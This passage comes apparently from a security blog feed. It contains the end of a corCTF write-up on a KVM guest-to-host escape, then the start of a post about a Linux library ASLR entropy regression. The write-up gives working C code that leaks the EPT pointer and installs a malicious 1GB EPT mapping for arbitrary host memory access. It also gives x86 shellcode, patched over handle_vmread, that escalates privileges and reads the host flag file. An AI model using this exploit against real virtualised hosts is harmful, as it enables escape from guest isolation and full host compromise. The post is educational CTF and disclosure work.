    <span class="cm">/* Has the level1 guest done vmxon? */</span>
    <span class="n">bool</span> <span class="n">vmxon</span><span class="p">;</span>
    <span class="n">gpa_t</span> <span class="n">vmxon_ptr</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">pml_full</span><span class="p">;</span>

    <span class="cm">/* The guest-physical address of the current VMCS L1 keeps for L2 */</span>
    <span class="n">gpa_t</span> <span class="n">current_vmptr</span><span class="p">;</span>
    <span class="cm">/*
     * Cache of the guest's VMCS, existing outside of guest memory.
     * Loaded from guest memory during VMPTRLD. Flushed to guest
     * memory during VMCLEAR and VMPTRLD.
     */</span>
    <span class="k">struct</span> <span class="n">vmcs12</span> <span class="o">*</span><span class="n">cached_vmcs12</span><span class="p">;</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So we can just scan for those two values:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">noinline</span> <span class="kt">int</span> <span class="nf">find_nested_vmx</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="n">nested_vmx_offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">pos_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">neg_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">zero_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pos_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">neg_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">found_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">found_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">zero_val</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="mi">0ull</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"vmcs12[0] = %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">zero_val</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="mh">0x4000</span><span class="o">*</span><span class="mh">0x200</span><span class="p">);</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pos_offset</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
        <span class="n">neg_offset</span> <span class="o">=</span> <span class="o">-</span><span class="n">i</span><span class="p">;</span>

        <span class="n">pos_val</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">pos_offset</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">pos_val</span> <span class="o">==</span> <span class="n">vmptrld_page_pa</span> <span class="o">&amp;&amp;</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">pos_offset</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="n">vmxon_page_pa</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">found_val</span> <span class="o">=</span> <span class="n">pos_val</span><span class="p">;</span>
            <span class="n">found_offset</span> <span class="o">=</span> <span class="n">pos_offset</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">found_val</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: L1 VMCS NOT FOUND :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="o">*</span><span class="n">nested_vmx_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: Found vmcs in l1 at offset %lld; value: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_offset</span><span class="p">,</span> <span class="n">found_val</span><span class="p">);</span>
        <span class="o">*</span><span class="n">nested_vmx_offset</span> <span class="o">=</span> <span class="n">found_offset</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="leaking-values">leaking values</h3>

<p>With this we were done with memory scanning!</p>

<p>We were then able to read fields of these two structures to find:</p>
<ul>
  <li>Where the nested VMCS is in virtual memory, via <code class="language-plaintext highlighter-rouge">cached_vmcs12</code>
    <ul>
      <li>We can also apply a bitmask this address to get phsymap base</li>
    </ul>
  </li>
  <li>The EPTP from the <code class="language-plaintext highlighter-rouge">ept_pointer</code> field on the <code class="language-plaintext highlighter-rouge">vmcs12</code> struct we found</li>
</ul>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">// offset+1 to go from current_vmptr to cached_vmcs12</span>
    <span class="n">l2_vmcs_addr</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">nested_vmx_offset</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: YOU ARE HERE: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">l2_vmcs_addr</span><span class="p">);</span>

    <span class="n">physbase</span> <span class="o">=</span> <span class="n">l2_vmcs_addr</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfffffffull</span><span class="p">;</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: probably physbase: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">l2_vmcs_addr</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfffffff</span><span class="p">);</span>

    <span class="n">eptp_value</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">l1_vmcs_offset</span><span class="o">-</span><span class="mi">50</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: eptp_value: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">eptp_value</span><span class="p">);</span>
</code></pre></div></div>

<p>We calculated the offset to the EPT of the guest we are in using the knowledge of where our nested VMCS is, physmap base, and the EPTP (which is a physical address in the host):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">ept_addr</span> <span class="o">=</span> <span class="n">physbase</span> <span class="o">+</span> <span class="p">(</span><span class="n">eptp_value</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfffull</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: ept_addr: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ept_addr</span><span class="p">);</span>

    <span class="n">ept_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">ept_addr</span><span class="o">-</span><span class="n">l2_vmcs_addr</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: ept_offset: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ept_offset</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="ept-hijacking">EPT hijacking</h3>
<p>With this knowledge we were able to read and write the EPT of the guest, and at this point it was time for me to actually figure out how this EPT stuff works.</p>

<p>I’m just going to give a TL;DR on this because this blog is already really long…</p>

<p>It turns out that if you understand how regular x86_64 page tables work, extended page tables are very intuitive.
If you don’t understand those, then <a href="https://zolutal.github.io/understanding-paging/">learn how those work first</a>.</p>
<ul>
  <li>First the pagetables in the guest are walked as normal to convert the guest virtual address to a guest physical address</li>
  <li>Next, the EPTP is used to determine the address of the physical address of the EPT in the host, you can think of this as the cr3 of EPT</li>
  <li>Then a pagewalk starts on the EPT page tables converting the guest physical address to a host physical address
    <ul>
      <li>The procedure for this pagewalk is very similar to a normal pagewalk, you calculate the offsets into each level of the pagetable in the same way you do for linear to physical address conversion (e.g. shift right by 12, 9-bit bitmasks, etc.)</li>
    </ul>
  </li>
</ul>

<p>Also similar to normal paging there are huge pages in EPT!
So the plan was to construct an EPT 1GB Huge Page mapping, which needs to be in the PDPT (3rd level).</p>

<p>I walked one level of EPT by reading the first entry in the PML4 (4th level) to get the physical address of the PDPT.
There was only one entry in the EPT PGD because of the amount of RAM the VM had wasn’t nearly enough to justify a second top level entry.</p>

<p>Here is what the EPT PML4 and PDPT look like in memory:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; <span class="c"># physmap base:</span>
gef&gt; p/x 0xffff8d74c0000000
<span class="nv">$22</span> <span class="o">=</span> 0xffff8d74c0000000

gef&gt; <span class="c"># EPTP value:</span>
gef&gt; p/x 0x299405e
<span class="nv">$23</span> <span class="o">=</span> 0x299405e

gef&gt; <span class="c"># EPT PML4 addr:</span>
gef&gt; p/x 0xffff8d74c0000000 + <span class="o">(</span>0x299405e &amp; ~0xfff<span class="o">)</span>
<span class="nv">$24</span> <span class="o">=</span> 0xffff8d74c2994000
gef&gt; <span class="c"># EPT PML4 contents:</span>
gef&gt; x/4gx 0xffff8d74c2994000
0xffff8d74c2994000:     0x0000000002482907      0x0000000000000000
0xffff8d74c2994010:     0x0000000000000000      0x0000000000000000

gef&gt; <span class="c"># the EPT PML4 has one entry: 0x0000000002482907</span>
gef&gt; <span class="c"># EPT PDPT addr:</span>
gef&gt; p/x 0xffff8d74c0000000 + <span class="o">(</span>0x0000000002482907 &amp; ~0xfff<span class="o">)</span>
<span class="nv">$25</span> <span class="o">=</span> 0xffff8d74c2482000
gef&gt; <span class="c"># EPT PDPT contents:</span>
gef&gt; x/8gx 0xffff8d74c2482000
0xffff8d74c2482000:     0x0000000002377907      0x0000000000000000
0xffff8d74c2482010:     0x0000000000000000      0x000000000254d907
0xffff8d74c2482020:     0x0000000000000000      0x0000000000000000
0xffff8d74c2482030:     0x0000000000000000      0x0000000000000000
</code></pre></div></div>

<p>To insert the malicious EPT entry we wrote <code class="language-plaintext highlighter-rouge">0x987</code> into an entry in the EPT PDPT which means – map 1GB of host physical memory starting from physical address zero to the guest physical address associated with this entry.</p>
<ul>
  <li>The 0x9 nibble maps to the ‘accessed’ and ‘ignored’ bits (oops lol these don’t matter)</li>
  <li>The 0x8 nibble maps to the page size bit that indicates this is 1GB mapping</li>
  <li>The 0x7 nibble maps to the read, write, and ‘mode-based execute’ (whether ring 0 in the guest can fetch instructions from this memory) bits</li>
</ul>

<p>Peep the Intel SDM Vol. 3C Section 29.3.2 if you want specifics on the layouts of these entries.</p>

<p>Here is walking the EPT PML4 and installing the malicious PDPT entry in C:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">// read first entry in ept to get the PML4E</span>
    <span class="n">pml4e_value</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">ept_offset</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: pml4e_value: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pml4e_value</span><span class="p">);</span>

    <span class="n">pml4e_addr</span> <span class="o">=</span> <span class="n">physbase</span> <span class="o">+</span> <span class="p">(</span><span class="n">pml4e_value</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfffull</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: pml4e_addr: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pml4e_addr</span><span class="p">);</span>

    <span class="n">pml4e_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">pml4e_addr</span><span class="o">-</span><span class="n">l2_vmcs_addr</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: pml4e_offset: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pml4e_offset</span><span class="p">);</span>

    <span class="c1">// at 6GB will be an identity mapping of the l1 memory in l2</span>
    <span class="n">write_guy</span><span class="p">(</span><span class="n">pml4e_offset</span> <span class="o">+</span> <span class="mi">6</span><span class="p">,</span> <span class="mh">0x987</span><span class="p">);</span>
</code></pre></div></div>

<p>Then we were able to just mess with the guest’s page tables a bit and create a 1GB mapping that points to the guest physical address assocated with the malicious EPT  PDPT entry we installed.
The entry was installed at the 6th entry in the EPT PDPT which associates it with the physical address <code class="language-plaintext highlighter-rouge">6&lt;&lt;30</code> (6GB), so we made a PDPT in the guest’s page tables point to that address:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">cr3</span> <span class="o">=</span> <span class="n">read_cr3</span><span class="p">();</span>
    <span class="n">pgd</span> <span class="o">=</span> <span class="p">(</span><span class="n">cr3</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfffull</span><span class="p">)</span> <span class="o">+</span> <span class="n">page_offset_base</span><span class="p">;</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: pgd: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pgd</span><span class="p">);</span>

    <span class="n">pgde_page</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">pgde_page_pa</span> <span class="o">=</span> <span class="n">virt_to_phys</span><span class="p">(</span><span class="n">pgde_page</span><span class="p">);</span>

    <span class="n">pgd</span><span class="p">[</span><span class="mi">272</span><span class="p">]</span> <span class="o">=</span> <span class="n">pgde_page_pa</span> <span class="o">|</span> <span class="mh">0x7</span><span class="p">;</span>

    <span class="c1">// huge and rwxp</span>
    <span class="n">l2_entry</span> <span class="o">=</span> <span class="mh">0x180000000</span> <span class="o">|</span> <span class="p">(</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">7</span><span class="p">)</span> <span class="o">|</span> <span class="mh">0x3</span><span class="p">;</span>

    <span class="n">pgde_page</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">l2_entry</span><span class="p">;</span>

    <span class="c1">// in THEORY I can access memory at 0xffff880000000000 now</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"TEST: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="mh">0xffff880000000000</span><span class="p">));</span>
</code></pre></div></div>

<p>This entry makes it so that at virtual address <code class="language-plaintext highlighter-rouge">0xffff880000000000</code> is a 1GB mapping of the host’s physical memory in our guest.</p>

<p>I was able to validate this by using gdb to compare the value the <code class="language-plaintext highlighter-rouge">pr_info</code> output to dmesg with the actual value at physical address zero:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; xp/gx 0
0x0000000000000000:    0xf000ff53f000ff53                       |  S...S...
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[   99.596421] [exp]: pgd: ffff947a42a96000
[   99.597523] clocksource: Long readout interval, skipping watchdog check: cs_nsec: 9953621305 wd_nsec: 1
[   99.597611] TEST: f000ff53f000ff53
</code></pre></div></div>

<h3 id="arbitrary-physical-memory-readwrite">arbitrary physical memory read/write</h3>
<p>At this point we had fully arbitrary physical memory read/write, e.g. we can read/write pages regardless of what their permissions are in the host by going through the mapping we established in the guest, which effectively turns this into a shellcoding exercise.</p>

<p>We scanned memory to find the address of the <code class="language-plaintext highlighter-rouge">handle_vmread</code> function in physical memory and overwrote it with the following payload, which just privescs the current thread, then opens and reads the flag file into memory:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">push</span> <span class="n">rax</span>
    <span class="n">push</span> <span class="n">rbx</span>
    <span class="n">push</span> <span class="n">rcx</span>
    <span class="n">push</span> <span class="n">rdx</span>
    <span class="n">push</span> <span class="n">r9</span>
    <span class="n">push</span> <span class="n">r10</span>
    <span class="n">push</span> <span class="n">r11</span>
    <span class="n">push</span> <span class="n">r12</span>
    <span class="n">push</span> <span class="n">r13</span>
    <span class="n">push</span> <span class="n">r14</span>
    <span class="n">push</span> <span class="n">rdi</span>
    <span class="n">push</span> <span class="n">rsi</span>

    <span class="c1">// get kaslr base</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0xfffffe0000000004</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rax</span><span class="p">]</span>
    <span class="n">sub</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x1008e00</span>

    <span class="c1">// r12 is kaslr_base</span>
    <span class="n">mov</span> <span class="n">r12</span><span class="p">,</span> <span class="n">rax</span>

    <span class="c1">// commit_creds</span>
    <span class="n">mov</span> <span class="n">r13</span><span class="p">,</span> <span class="n">r12</span>
    <span class="n">add</span> <span class="n">r13</span><span class="p">,</span> <span class="mh">0xbdad0</span>

    <span class="c1">// init_cred</span>
    <span class="n">mov</span> <span class="n">r14</span><span class="p">,</span> <span class="n">r12</span>
    <span class="n">add</span> <span class="n">r14</span><span class="p">,</span> <span class="mh">0x1a52ca0</span>

    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">r14</span>
    <span class="n">call</span> <span class="n">r13</span>

    <span class="c1">// filp_open</span>
    <span class="n">mov</span> <span class="n">r11</span><span class="p">,</span> <span class="n">r12</span>
    <span class="n">add</span> <span class="n">r11</span><span class="p">,</span> <span class="mh">0x292420</span>

    <span class="c1">// push /root/flag.txt</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x7478742e6761</span>
    <span class="n">push</span> <span class="n">rax</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x6c662f746f6f722f</span>
    <span class="n">push</span> <span class="n">rax</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>

    <span class="c1">// O_RDONLY</span>
    <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="mi">0</span>
    <span class="n">call</span> <span class="n">r11</span>

    <span class="c1">// r10 is filp_ptr</span>
    <span class="n">mov</span> <span class="n">r10</span><span class="p">,</span> <span class="n">rax</span>

    <span class="c1">// kernel_read</span>
    <span class="n">mov</span> <span class="n">r11</span><span class="p">,</span> <span class="n">r12</span>
    <span class="n">add</span> <span class="n">r11</span><span class="p">,</span> <span class="mh">0x294c70</span>

    <span class="c1">// writeable kernel address</span>
    <span class="n">mov</span> <span class="n">r9</span><span class="p">,</span> <span class="n">r12</span>
    <span class="n">add</span> <span class="n">r9</span><span class="p">,</span> <span class="mh">0x18ab000</span>

    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">r10</span>
    <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">r9</span>
    <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="mh">0x100</span>
    <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span> <span class="mi">0</span>

    <span class="n">call</span> <span class="n">r11</span>

    <span class="n">pop</span> <span class="n">rax</span>
    <span class="n">pop</span> <span class="n">rax</span>

    <span class="n">pop</span> <span class="n">rsi</span>
    <span class="n">pop</span> <span class="n">rdi</span>
    <span class="n">pop</span> <span class="n">r13</span>
    <span class="n">pop</span> <span class="n">r14</span>
    <span class="n">pop</span> <span class="n">r12</span>
    <span class="n">pop</span> <span class="n">r11</span>
    <span class="n">pop</span> <span class="n">r10</span>
    <span class="n">pop</span> <span class="n">r9</span>
    <span class="n">pop</span> <span class="n">rdx</span>
    <span class="n">pop</span> <span class="n">rcx</span>
    <span class="n">pop</span> <span class="n">rbx</span>
    <span class="n">pop</span> <span class="n">rax</span>
</code></pre></div></div>

<p>Then just trigger the shellcode by executing a vmread, and get the flag by reading it out of the host’s memory:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">// do it</span>
    <span class="n">read_guy</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>

    <span class="c1">// scan for flag in memory</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">1024ull</span> <span class="o">&lt;&lt;</span> <span class="mi">20</span><span class="p">;</span> <span class="n">i</span><span class="o">+=</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">memcmp</span><span class="p">(</span><span class="mh">0xffff880000000000</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="s">"corctf{"</span><span class="p">,</span> <span class="mi">7</span><span class="p">))</span> <span class="p">{</span>
            <span class="n">pr_info</span><span class="p">(</span><span class="s">"flag: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mh">0xffff880000000000</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>Incredibly this worked first try on remote! :)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[  127.014896] [exp]: Found vmcs in l1 at offset 730021; value: 2adb000
[  127.014958] [exp]: YOU ARE HERE: ffff9aa4c1f6a000
[  127.014959] [exp]: probably physbase: ffff9aa4c0000000
[  127.014985] [exp]: eptp_value: 244f05e
[  127.014986] [exp]: ept_addr: ffff9aa4c244f000
[  127.014986] [exp]: ept_offset: 9ca00
[  127.015012] [exp]: pml4e_value: 2ba4907
[  127.015013] [exp]: pml4e_addr: ffff9aa4c2ba4000
[  127.015013] [exp]: pml4e_offset: 187400
[  127.015036] [exp]: pgd: ffff8c6102a80000
[  127.016681] clocksource: Long readout interval, skipping watchdog check: cs_nsec: 5383022626 wd_nsec: 5383019837
[  127.016772] TEST: f000ff53f000ff53
[  127.018707] found handle_vmread page at: ffff8800028fd000
[  127.018708] handle_vmread at: ffff8800028fd4d0
[  127.053129] flag: corctf{KvM_3xpl01t5_@r3_5ucH_a_p@1n_1n_Th3_a55!!!}
</code></pre></div></div>

<h2 id="wrap-up">wrap up</h2>

<p>This challenge was super fun and very relevant with Google’s KVM CTF starting up not too long ago.
It was awesome learning about EPT and getting a better understanding of some of the internals of KVM, I hope you learned something from reading this!
Shoutout to the author <a href="https://www.willsroot.io/">FizzBuzz101</a> for creating the challenge!</p>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Sidechannels" /><category term="x86_64" /><category term="Architecture" /><category term="Linux" /><category term="CTF Writeup" /><summary type="html"><![CDATA[This year I played corCTF with Shellphish, and we did pretty well – placing 6th! I worked on two challenges: ‘trojan-turtles’ and ‘its-just-a-dos-bug-bro’, in the end we solved both of them and both only had two solves by the end.]]></summary></entry><entry><title type="html">ASLRn’t: How memory alignment broke library ASLR</title><link href="https://zolutal.github.io/aslrnt/" rel="alternate" type="text/html" title="ASLRn’t: How memory alignment broke library ASLR" /><published>2024-01-08T00:00:00+00:00</published><updated>2024-01-08T00:00:00+00:00</updated><id>https://zolutal.github.io/aslrnt</id><content type="html" xml:base="https://zolutal.github.io/aslrnt/"><![CDATA[<p>As it turns out, on recent Ubuntu, Arch, Fedora, and likely other distro’s releases, with kernel versions &gt;=5.18, library ASLR is <em>literally</em> broken for 32-bit libraries of at least 2MB in size, on certain filesystems. Also, ASLR’s entropy on 64-bit libraries that are at least 2MB is significantly reduced, 28 bits -&gt; 19 bits, on certain filesystems.</p>

<p>Then what are these “certain filesystems”? Those would be: ext4, ext2, btrfs, xfs, and fuse. So, some of the most widely used filesystems.</p>

<p>I’ve only actually verified ext4 and btrfs, though, according to the kernel source code the other filesystems <a href="https://elixir.bootlin.com/linux/v6.7/C/ident/thp_get_unmapped_area"><em>should</em> be affected</a>, but please let me know if I am wrong on any of these being affected. I’ve reproduced the 64-bit regression on Ubuntu w/ ext4, Arch w/ ext4, and Fedora w/ btrfs. I’ve also reproduced the 32-bit regression on those Ubuntu, Arch, and Fedora systems.</p>

<h2 id="being-responsible">being responsible</h2>

<p>I contacted Ubuntu security about this (I initially assumed only they were affected) and they informed me that this regression is being tracked by them publicly here:</p>

<p><a href="https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1983357">https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1983357</a></p>

<p>Though I independently discovered that 64-bit library ASLR had regressed, the bug has been publicly tracked by Ubuntu for quite some time before I found it. The impact of this regression on 32-bit library ASLR was not found by me at all, I learned about it from the bug report above. Props to Ubuntu for having a regression test for this kind of thing!</p>

<p>But, despite this issue being public for over a year on Ubuntu’s bug tracker, it seems like it has gone mostly unnoticed? I have only found it referenced on that Ubuntu bug tracker and <a href="https://groups.google.com/g/linux.debian.bugs.dist/c/t6RJSUQ6gp4">here</a> on the debian bugs newsgroup.</p>

<h1 id="the-64-bit-regression">The 64-bit regression</h1>

<p>For the regression to occur, the prerequisites must be met: an affected filesystem, a recent-ish kernel (past ~year or so), and a library that is &gt;=2MB (this size may need to be larger depending on how the loader is implemented)</p>

<p>In my case all of these were met by default on my Ubuntu 22.04 system which has an ext4 filesystem, a 6.2.0 kernel, and a 2.2MB libc.</p>

<p>With those requirements met, testing for the regression is pretty simple:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">cat</span> /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n</span> 1
7ff67dc00000-7ff67dc28000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">cat</span> /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n</span> 1
7f0c33600000-7f0c33628000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">cat</span> /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n</span> 1
7fc6ef800000-7fc6ef828000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6
</code></pre></div></div>

<p>Boom! ASLR is messed up, see!?!?</p>

<p>Okay, but more seriously, lets break down what is going on there.</p>

<p>Here we have an address range representing the location of libc in the <code class="language-plaintext highlighter-rouge">cat</code> process’s address space:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>7ff67dc00000-7ff67dc28000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6
</code></pre></div></div>

<p>The first value on that line <code class="language-plaintext highlighter-rouge">7fcc68000000</code> is the ‘base address’ of libc for that run of <code class="language-plaintext highlighter-rouge">cat</code>. The base address is randomly chosen by the kernel when the library is mapped in, and everything in libc is a constant offset from that (code, globals, etc…). So for library ASLR to be regressed that would mean that that base address is less random than it should be.</p>

<p>I’ve claimed the regression affects ASLR of libraries &gt;=2MB in size, so let’s compare this allegedly malfunctioning libc ASLR to the ASLR of some smaller library memory mapping.</p>

<p>Here is a little python snippet to run <code class="language-plaintext highlighter-rouge">cat /proc/self/maps</code> 1000 times and do a bitwise OR on the libc base addresses we receive. With this, if a bit in the base address is set in any of those 1000 runs we would see it in the result.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="kn">from</span> <span class="n">subprocess</span> <span class="kn">import</span> <span class="n">check_output</span>
   <span class="p">...:</span> <span class="n">result</span> <span class="o">=</span> <span class="mh">0x0</span>
   <span class="p">...:</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1000</span><span class="p">):</span>
   <span class="p">...:</span>     <span class="n">out</span> <span class="o">=</span> <span class="nf">check_output</span><span class="p">(</span><span class="sh">"</span><span class="s">cat /proc/self/maps | grep libc | head -n1</span><span class="sh">"</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">).</span><span class="nf">decode</span><span class="p">()</span>
   <span class="p">...:</span>     <span class="n">base_address</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">out</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
   <span class="p">...:</span>     <span class="n">result</span> <span class="o">|=</span> <span class="n">base_address</span>
   <span class="p">...:</span> <span class="nf">hex</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
